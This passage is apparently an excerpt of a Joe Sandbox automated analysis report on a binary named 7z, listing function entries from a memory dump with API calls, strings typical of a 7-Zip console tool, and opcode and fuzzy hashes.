                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove$wcscmp$ExceptionThrow
                                                                                                                                                                                                                                                              • String ID: Empty file path
                                                                                                                                                                                                                                                              • API String ID: 462375450-1562447899
                                                                                                                                                                                                                                                              • Opcode ID: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
                                                                                                                                                                                                                                                              • Instruction ID: 6e35be5e19630c93784c7913a50304b4a78e68ecbf7af84d1db63c847491fe70
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DAD1D7B3214A8186CB60EF25E4903EEB762FB85794F444125EF9E47B59DF38C986CB00
                                                                                                                                                                                                                                                              Function 006BA224 Relevance: 37.8, APIs: 22, Strings: 3, Instructions: 317COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: \$\\?\$\\?\UNC\
                                                                                                                                                                                                                                                              • API String ID: 0-1962706685
                                                                                                                                                                                                                                                              • Opcode ID: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
                                                                                                                                                                                                                                                              • Instruction ID: 6c3a7b61e5ce2a9583acd769bbaa6b2d0f35997fffe56cccc1842a21cac94614
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 20B1CFF220864090CE60FF69D4611FEA762EB827C4F441116EB4A47769EF68CAC7C716
                                                                                                                                                                                                                                                              Function 006B1C58 Relevance: 31.5, APIs: 25, Instructions: 294COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006B1C98
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006B1CB9
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1452528299-0
                                                                                                                                                                                                                                                              • Opcode ID: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
                                                                                                                                                                                                                                                              • Instruction ID: 0f8dbb4d22687990ea8fbe34a804c537d4a3a5cee8863bb70db83379137bae5d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BCA1B4A264864191CB60EF19E4605FEB762E7D27D0F901216FB9E47769DF28C8C6CB04
                                                                                                                                                                                                                                                              Function 006F7F50 Relevance: 30.2, APIs: 24, Instructions: 154COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
                                                                                                                                                                                                                                                              • Instruction ID: 19c63b3f082963f81e377f2b8a9d006aa041b3e332882c2ed5c4ea2a899caa92
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 85518E67710A8589CB61EE35D8612ED2322FBD6F98F59037AEF2D1B719DF20C8428314
                                                                                                                                                                                                                                                              Function 006F6C04 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 160COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free$fputc
                                                                                                                                                                                                                                                              • String ID: Error:$ file$Everything is Ok$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
                                                                                                                                                                                                                                                              • API String ID: 2662072562-1527772849
                                                                                                                                                                                                                                                              • Opcode ID: cf38ecbc90f80cce91f4804fd03da9a44f36afd14dcff60acdae5e80679d7744
                                                                                                                                                                                                                                                              • Instruction ID: 439d1b70e6d5627cbd9df0fc3ccbd9e3f6f58626770cc14e3137f1f836cd352d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: cf38ecbc90f80cce91f4804fd03da9a44f36afd14dcff60acdae5e80679d7744
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 83517EA630850682CE60EB21E6A53FE6363FB94BD4F444229FF5E03769DF28C995C344
                                                                                                                                                                                                                                                              Function 006D1988 Relevance: 27.7, APIs: 22, Instructions: 211COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
                                                                                                                                                                                                                                                              • Instruction ID: 25a9bc1bd55df3dc071d221ab9256ce75ebadc93c0cec3e78f012a28164b1eb2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3771B562718A8191CA60EF25E8513DEA722F7C37D0F441216FF9E57769DF28C486CB04
                                                                                                                                                                                                                                                              Function 006E187D Relevance: 25.2, APIs: 20, Instructions: 214COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E187D
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2861928636-0
                                                                                                                                                                                                                                                              • Opcode ID: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
                                                                                                                                                                                                                                                              • Instruction ID: 03e17347a2c00aac103feb972eada6a82983e3df8edc30abe84d1582d2bfdd4a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C6814A7220ABC581CAA0DF26E464BEE77A6F7D6B84F015116DB8E53B15CF38C486C708
                                                                                                                                                                                                                                                              Function 006F72C8 Relevance: 25.1, APIs: 20, Instructions: 81COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
                                                                                                                                                                                                                                                              • Instruction ID: c1b69ea78b927fa279b4e33a7d3fffd21dd5b202b66613e8a3dcba69702e3f37
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ED31FEA271194585CB91FF3ADC612EC7362EBC1F94F190279EF2D5B369CE20C8828358
                                                                                                                                                                                                                                                              Function 006EDCB0 Relevance: 22.8, APIs: 10, Strings: 5, Instructions: 323COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: 2$3$?$?$Z
                                                                                                                                                                                                                                                              • API String ID: 1534225298-3338962022
                                                                                                                                                                                                                                                              • Opcode ID: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
                                                                                                                                                                                                                                                              • Instruction ID: b0ef71baddf27b00ac588326a8d7d1ddbbcac674b5bcd39ed7563eafe06975f8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3EC1D3722167C092CA70EF26D4801EEB723F7D5B84F504216EB9E83769DE39C986CB05
                                                                                                                                                                                                                                                              Function 006C3AFC Relevance: 21.4, APIs: 17, Instructions: 169COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
                                                                                                                                                                                                                                                              • Instruction ID: fbc43204c7f9f7760e1a88a34bdccde78dcf2612e134d3664198cca23c8ba2c5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 80512D73702A9089CB55EE36D4A4BFD6322FB86F94B19427ADF1E1B718CF24C9458314
                                                                                                                                                                                                                                                              Function 006ED998 Relevance: 21.2, APIs: 13, Strings: 1, Instructions: 197COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$wcscmp
                                                                                                                                                                                                                                                              • String ID: ..\
                                                                                                                                                                                                                                                              • API String ID: 4021281200-2756224523
                                                                                                                                                                                                                                                              • Opcode ID: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
                                                                                                                                                                                                                                                              • Instruction ID: 1fa24dec9668fe204e6f253263dc4f2cb6d1a3bdcca33f6a4bcb6b2cb7f70933
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5961AFA2715BC086CB60EF1AE49029EB362FBC5B94F590225EF4E0B758DF78C942C704
                                                                                                                                                                                                                                                              Function 006F0B2C Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 71COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free$fputc
                                                                                                                                                                                                                                                              • String ID: Modified: $Path: $Size:
                                                                                                                                                                                                                                                              • API String ID: 2662072562-3207571042
                                                                                                                                                                                                                                                              • Opcode ID: 496fa3ffaf823c2aebc81c865e07b2af86b11c6c8c3a8b9c12195a7aa1bd88ef
                                                                                                                                                                                                                                                              • Instruction ID: cd84b94b69e7d015b7ca64c56aa5f9421b9ac1d56dc3e0ae8201a6a547981e63
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 496fa3ffaf823c2aebc81c865e07b2af86b11c6c8c3a8b9c12195a7aa1bd88ef
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 342123A621490691DE20EB25F9603BD2323FB95BE8F449336EF2D037A9DF29C559C300
                                                                                                                                                                                                                                                              Function 006BBF04 Relevance: 20.3, APIs: 16, Instructions: 327COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
                                                                                                                                                                                                                                                              • Instruction ID: b1cf06b8f74b07637c8e277e3621a951fd254a13033fe81da42cb8c89cd0eea3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7CC1A5B231468192CB60EF65D4901EE67B2F7C5B90F905126EB4E67729CF39CAC6CB04
                                                                                                                                                                                                                                                              Function 006EEE5C Relevance: 19.8, APIs: 12, Strings: 1, Instructions: 344COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: hm
                                                                                                                                                                                                                                                              • API String ID: 1294909896-1496015800
                                                                                                                                                                                                                                                              • Opcode ID: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
                                                                                                                                                                                                                                                              • Instruction ID: 445c4f8b985311b4bf065a18943df29dd416271cbe4a028cf05b916eb350e6ef
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 65E17772316BC093CB64DB2AD4907AEB7A2F788B84F044126EB8E47765DF39C895C744
                                                                                                                                                                                                                                                              Function 006C0998 Relevance: 19.6, APIs: 12, Strings: 1, Instructions: 133COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove$ExceptionThrow
                                                                                                                                                                                                                                                              • String ID: Incorrect volume size:
                                                                                                                                                                                                                                                              • API String ID: 3957182552-1799541332
                                                                                                                                                                                                                                                              • Opcode ID: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
                                                                                                                                                                                                                                                              • Instruction ID: f533eb4d5e3759855dff7ab07624a8c7cd9338da9951ea55dfd42436a5c24fc2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D451D0B2304A88D2DB60EF29D8903EDB322F785B84F44412ADB9D47765DF38C985C744
                                                                                                                                                                                                                                                              Function 006C7178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
